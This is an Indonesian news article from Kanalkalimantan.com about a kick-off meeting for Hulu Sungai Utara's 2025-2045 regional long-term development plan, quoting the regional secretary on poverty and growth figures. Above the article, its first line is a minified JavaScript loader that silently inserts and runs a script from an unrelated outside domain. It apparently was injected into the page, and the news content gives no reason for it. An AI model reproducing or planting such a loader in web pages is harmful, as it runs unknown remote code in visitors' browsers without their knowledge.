(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menilai penting penyusunan Rencana Pembangunan Jangka Panjang Daerah (RPJPD) sebagai arahan kebijakan perencanaan pembangunan daerah.
“Penyusunan RPJPD sangat penting dan strategis dilaksanakan guna menentukan arahan kebijakan perencanaan pembangunan daerah, yaitu RPJMD dan RKPD, disamping sebagai pedoman dalam perumusan visi, misi dan program calon kepala daerah dan wakil kepala daerah,” kata Adi Lesmana, saat kegiatan kick off meeting penyusunan RPJPD HSU tahun 2025-2045, di Mess Nagara Dipa Amuntai, Senin (11/9/2023) bersama Penjabat (Pj) Bupati HSU dan pejabat SKPD di lingkungan Pemerintah Kabupaten HSU.
Diketahui, Rencana Pembangunan Jangka Menengah Daerah (RPJMD) adalah dokumen perencanaan daerah untuk periode 5 tahun. Sedang Rencana Kerja Pembangunan Daerah (RKPD) adalah dokumen perencanaan daerah untuk periode 1 tahun atau disebut dengan rencana pembangunan tahunan daerah.
Baca juga: BI Kalsel Gelar Kompetisi Karya Literasi Sasirangan 2023
“RPJPD HSU tahun 2005-2025 yang telah dilaksanakan selama 18 tahun terakhir telah membuahkan hasil yang cukup baik dalam urusan pemerintahan,” kata Adi.
Menurutnya, pada Produk Domestik Regional Bruto (PDRB) per kapita di HSU mengalami peningkatan enam kali lipat dengan pertumbuhan ekonomi berada pada kisaran empat persen.
“Dari sisi daya saing manusia yang diukur dengan indeks pembangunan manusia (IPM), menunjukkan capaian yang semakin membaik, begitu pula dengan angka kemiskinan yang mengalami penurunan dari 11,91 persen pada tahun 2005 menjadi 6,49 persen pada tahun 2022,” ungkapnya.
Akan tetapi, kata Adi, saat ini Kabupaten HSU masih dihadapkan pada tantangan besar untuk dapat meningkatkan posisi relatif terhadap capaian kabupaten kota lainnya di Provinsi Kalimantan Selatan, terutama pada indikator makro pembangunan seperti IPM, angka kemiskinan, dan PDRB per kapita.
Baca juga: Dua Hari Api Berkobar di Abumbun Jaya, Majelis Taklim Nyaris Terbakar
“Secara umum HSU juga masih dihadapkan pada berbagai tantangan berupa peningkatan kualitas SDM, kualitas tenaga kerja, infrastruktur, pembangunan di bidang ekonomi, sosial lingkungan hidup yang berkelanjutan, ancaman bencana terutama banjir, maupun tantangan secara kelembagaan dengan meningkatkan kontribusi sektor-sektor unggulan di HSU,” imbuhnya.
Untuk itu, dirinya berharap kepada tim penyusun RPJPD dan semua stake holder yang ada di HSU, agar dapat berkerjasama menghasilkan visi dan misi daerah, arah kebijakan dan sasaran pokok pembangunan daerah jangka panjang untuk 20 tahun kedepan.
“Dengan tetap mempedomani kepada RPJPN dan RTRW serta tetap memperhatikan KLHS, semoga dengan adanya dokumen RPJPD HSU tahun 2025-2045 dapat memenuhi harapan kita yaitu akan menghasilkan peningkatan kesejahteraan masyarakat dan menjadikan HSU sebagai daerah yang masuk dalam kategori daerah maju,” pungkasnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
This website uses cookies.